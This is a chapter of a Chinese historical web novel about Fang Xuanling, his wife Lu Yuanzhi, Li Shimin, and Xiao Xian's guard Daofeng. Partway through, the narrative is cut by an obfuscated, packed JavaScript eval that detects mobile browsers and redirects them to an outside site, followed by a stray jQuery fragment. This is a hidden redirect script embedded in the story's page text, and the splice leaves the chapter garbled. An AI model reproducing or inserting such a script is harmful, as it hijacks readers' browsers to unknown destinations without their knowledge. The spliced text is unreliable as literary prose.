18. 第十八章
作品:《房玄龄初恋记事》 她在害怕什么?
害怕没有子嗣,害怕去尼姑庵,害怕失了郎君的宠爱吗?
也许确实是害怕这些的,但以房玄龄现在对她的态度来看,这些离她还比较遥远,那她究竟在怕什么呢?
不,不对!
她不是害怕!她是从心里就这么认为!
从小,裹三寸金莲是为了讨夫君喜欢,学绣技女工是为了服侍夫君,恪守礼节是怕夫君不喜,她从出生开始,桩桩件件,都是为了未来嫁人做准备。好像女子生来便要嫁人,事事以夫君为重。
女子不都这样吗?
不,不是的。原身就不是这样。
原身活得很肆意,所做一切,讨好的不是未来夫君,而是自己。
穿越到原身的身上后,她感觉身体都轻快不少,起码走路再也没那种刺骨的痛感。
房郎君是希望她可以和原身一样吗?
不怪卢沅芷如此想,实在是房玄龄所言所行,完全超出她的认知。
从这一刻起,卢沅芷隐隐感觉到,房玄龄与她之前接触过那些男子不同,与她接触的观念不同。
他所说的每一个字,直接冲破了她的想象,打碎她固有认知的伦理纲常。
卢沅芷备受触动,一时之间,不知该怎么做了。
那种根深蒂固的思维想要转变是很困难的,但这一刻,她似乎有点开悟了。
窗外落雪纷纷,雪粒渐渐融合成鹅绒,铺满台阶。寒风顺着吹过,扑到窗棂上呜咽作响。晨光映射进床榻间,照出两人心底的波澜。
房玄龄没等到回复,轻轻叹了口气,将被衾盖在卢沅芷身上。
“清娘,我并不是想让你改变自己。而是不希望你为了讨好我戴面具活一辈子。你在看书的时候眼睛是亮的,听我夸赞你时眼睛也是亮的。可你刚才说话时眼前像是蒙了一层灰,那不是你喜欢的。”
“你可能因为一些不好的事情变成现在这样,但没关系的。夫君会陪着你的,以后你喜欢什么再去做什么,好吗?”
温柔的嗓音落入耳中,卢沅芷泪眼婆娑抬头看向房玄龄。
这些话,从未有人对她说过。
她真的可以喜欢什么便做什么吗?昨夜舞姬的哭喊历历在目,但,卢沅芷想信房玄龄一次。
眼前之人,是她的夫君。
是她一辈子要相守的人。
想到这里,眼泪流得更凶了。
“真的可以这样吗?”
“真的。”房玄龄回答的很坚定。
“那...我想读史书。”
房玄龄一怔,卢家怎么会连史书都吝啬自家子弟读呢?但现在不是疑惑的时候,他直接打包票。“可以,我今日便去县衙将那些史书典籍都借过来,娘子想...”
话未说完,卢沅芷再也控制不住,猛地扑入房玄龄怀中,紧紧搂住房玄龄脖颈。
这还是新婚圆房未成后第一次,两人如此紧密相贴。
无关欲望,由心而起。
卢沅芷的手受伤,抱不紧人,房玄龄便伸手,将细软的腰肢搂过来。
屋外漫天鹅雪簌簌而落,屋内两道身影紧紧相拥,苏合香气缠绕,蔓延。
此时连晨光都不忍心打扰这对壁人儿。
“郎君,大夫请来了。”婢女高声禀告。
两人身子一僵,缓缓分开。
卢沅芷泪珠还挂在脸上,被房玄龄一一擦拭后,大夫进门。
眼见着大夫说未伤到筋骨,包扎完毕,卢沅芷也态度稳定。房玄龄有心想知道卢沅芷手伤是不是自己出的骚主意,早膳都没用,便去找李世民了。
李世民彼时正在翻阅罗川的山川志,想看看能不能找出罗川有什么。他太好奇徐良平说的东西了。能直接让王县令出口保他,这个东西一定很了不得。
房玄龄却是没那个好心情,一进门便焦急地问:“今日县衙内有人动手了,是咱们的人吗?”
李世民摇摇头。“不是。”想起这事李世民便后怕,还好他当时没冲动,采取了房玄龄的建议,不然县衙里有个对他们行踪了如指掌的第三人,谁知道会出什么变故。
他满脸欣慰,起身拍了拍房玄龄肩膀夸赞:“玄龄猜得不错,县衙里果然有人想拉王县令下水。那人比我们还急,内兄已经去查了。”
“还是玄龄脑子好使啊!一箭双雕,幕后之人露了踪迹,王县令看管不严的罪名定实,我们可以把县衙的事全接管过来。”
房玄龄高兴不起来。
李世民看不上房玄龄这哭丧着脸的模样,开始展望未来。“玄龄你的策略很快就能实现了,多好啊!”
提到这点,房玄龄勉强露出一抹笑意。不过想到之后推进可能面临更多危险,他不禁升起劝卢沅芷回河东的想法。
他知道自己一个人回门会有些丢人,所以卢沅芷半路转圜他可以理解。但丢人总比丢性命强。
房玄龄自己说服了自己,殊不知卢沅芷回转原因根本不在于丢人,而在于萧铣。
此时萧铣听刀锋禀告卢沅芷伤了手,立刻阴沉着一张脸,犹如压满雷暴的铅云。不晓得何时会降下雷霆之怒。
刀锋弓着腰,静等处置。
一时间,屋内仿佛凝滞般静默,连呼吸声都显得有些唐突。
忽然,萧铣抄起桌上的镇纸便朝刀锋砸过去。刀锋没躲,额头结结实实挨了一下。
萧铣:“你是疯了吗?竟敢伤她!”
刀锋没吭声,鲜血顺着额角下淌,一路蜿蜒过脸颊。这点疼痛对他来说应该不值一提,但这一刻他却能感受到那种疼。刺骨的疼。
以前他一直不明白,萧铣不是个拎不清的人,怎么会如此沉溺于情爱无法自拔。今天第一次接触卢沅芷,他好像有点懂了。
她很聪明,很果断,很漂亮,几乎说不出缺点。
最重要的是——她把奴仆当人。
萧铣虽然是兰陵萧氏出身,但他背着反叛的亲族,根本不会有任何世家子弟把他放在眼里。可卢沅芷不一样,她宁肯自伤都要救自己的婢女,她一定是很平等的对待萧铣,让他感受到了尊重。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15574573|171018||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
像他们这种阴沟里爬行的毒虫,这辈子都没受过什么人间的善意,如果有人能在少年时对自己好一点,应该会记得很久。
“我没有想伤她。”这是刀锋的真心话。
萧铣根本不信。“那她为什么还是伤了?你一个暗卫手上不会连这点分寸都没有吧!”
刀锋反驳不了。
他当时只是想吓吓人,从未想过卢沅芷会因为一个婢女握住他的匕首。
“刀锋...甘愿领罚。”
萧铣闻言瞪了他一眼,站起身气急败坏道:“现在罚你还有什么用,让李四娘把清娘受伤的消息随时报给我。”
李四娘这条线是萧铣特意搭上的,因为卢家出行跟着的奴仆都是家生子,他们的人根本没机会下手。但萧铣费了半天劲儿才把人拉回来,当然不会光等着什么都不做。
他要找个和卢沅芷有联系,能搭上话的人。
李四娘是杜如晦救出来的,又是女郎,有着得天独厚的优势。简直是可以利用的不二人选。
而且萧铣这个人,除了卢沅芷,谁都不信,所以他跟李四娘谈的就是利益。
李四娘虽然不算穷苦人家出身,但一无横财,二无亲族,称得上一穷二白。生逢乱世,她一个小女娘,一身武艺无处施展,不去抢劫连填饱肚子都困难。
杜如晦能救他一次,救不了她第二次。
上品无寒门,下品无士族。
要知道,在这个时代,无论是名望、学识、权势都掌握在世家手中,即使先帝排除万难创建了科举制,给平民一条上升通道。那基本上也是镜中花,水中月。可望而不可及。
学识,掌握在世家手中,考官,全是世家大姓。
你好不容易找到门路进了世家大族的学堂,但外姓人想把人家的东西吃透是很难的。人家是名师领进门,你是修行在个人。
世家用祖祖辈辈积累下来的基石垄断上层社会,形成错综复杂的关系网,完成阶级固化。平民想往上爬,只有加入这一条路线。
可是非血脉亲族,人家谁也不会带你玩。
但卢沅芷不同,她是特别的。她既会发自内心欣赏叛臣之子的萧铣,便会敬佩平民出身的李四娘。
卢沅芷是萧铣见过唯一一个论个人本心,非看中血脉的世家子弟。
只要卢沅芷肯多说两句话,让李四娘能爬着范阳卢氏的名头出现在众人眼前,李四娘便可青云直上。
卢沅芷是李四娘通往权势的,唯一机会。
起初李四娘不相信,她蹙眉反问:“我是女郎,如何青云直上?”
萧铣:“商朝妇好、西晋荀灌,如果你不认识这两个人,我可以让刀锋给你送书过来。”
怕李四娘不上套,萧铣装作不在意的开口诱哄:“李四娘,扪心自问,一辈子屈居于不如你的男人之下,你甘心吗?”
“你的武力,难道比那些男人低吗?”
“想练成缩骨功需要将骨头不停地打断重接,你连这种苦都吃的了。如今青云大道就摆在眼前,你真的要错过吗?”